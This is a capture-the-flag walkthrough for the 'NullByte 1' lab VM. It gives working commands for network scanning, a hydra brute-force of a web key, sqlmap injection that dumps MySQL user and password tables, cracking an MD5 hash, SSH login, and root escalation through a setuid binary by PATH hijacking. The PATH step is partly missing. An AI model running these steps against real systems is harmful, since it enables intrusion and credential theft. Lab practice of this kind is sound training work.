NullByte 1
Tools:
- netdiscover
- Nmap
- Wfuzz
- Nikto
- Strings
- Hydra
Vulnerabilities:
Use netdiscover to detect target IP address
netdiscover -i eth0 -r 192.168.41.0/24
192.168.41.168 is the target.
Then run nmap to detect opening ports and running services on the target machine.
nmap -sV -v -O -A -T5 192.168.41.168 -p-
use Nikto to scan
nikto -h 192.168.41.168
find phpMyAdmin directory
use wfuzz to scan
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --hc 404 http://192.168.41.168/FUZZ 2>/dev/null
check the page:
just a gif image. Download it and use strings to check
strings main.gif
find P-): kzMb5nVYJw
, try 192.168.41.168/kzMb5nVYJw
check the source:
use hydra to crack the key:
hydra 192.168.41.168 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^&:invalid key" -P /usr/share/wordlists/rockyou.txt -la -t 10 -w 30
got key is elite
enter the key, now we have another page:
use sqlmap to get database name:
sqlmap -u "http://192.168.41.168/kzMb5nVYJw/420search.php?usrtosearch=aaa" -p usrtosearch --dbs
use sqlmap to get tables of database mysql:
sqlmap -u "http://192.168.41.168/kzMb5nVYJw/420search.php?usrtosearch=aaa" -p usrtosearch --dbms mysql -D mysql --tables
get column name of table user
sqlmap -u "http://192.168.41.168/kzMb5nVYJw/420search.php?usrtosearch=aaa" -p usrtosearch --dbms mysql -D mysql -T user --columns
get Username and Password
sqlmap -u "http://192.168.41.168/kzMb5nVYJw/420search.php?usrtosearch=aaa" -p usrtosearch --dbms mysql -D mysql -T user -C User,Password --dump
sqlmap -u "http://192.168.41.168/kzMb5nVYJw/420search.php?usrtosearch=aaa" -p usrtosearch --dbms mysql -D seth --tables
sqlmap -u "http://192.168.41.168/kzMb5nVYJw/420search.php?usrtosearch=aaa" -p usrtosearch --dbms mysql -D seth -T users --columns
sqlmap -u "http://192.168.41.168/kzMb5nVYJw/420search.php?usrtosearch=aaa" -p usrtosearch --dbms mysql -D seth -T users -C user,pass --dump
for ramses’s password, it looks like md5, google it, go to md5decoder get omega
.
use this to login ssh
ssh ramses@192.168.41.168 -p 777
get the shell:
try command history
find it
find / -name "procwatch" 2>/dev/null
in /var/www/backup/procwatch
, backup, good.
check the file
ls -alh /var/www/backup/procwatch
found it’s setuid
run it
find it just run sh and ps
copy /bin/sh to /var/www/backup
cp /bin/sh /var/www/backup/ps
add it to PATH
1 2 |
|
run it ./procwatch
get root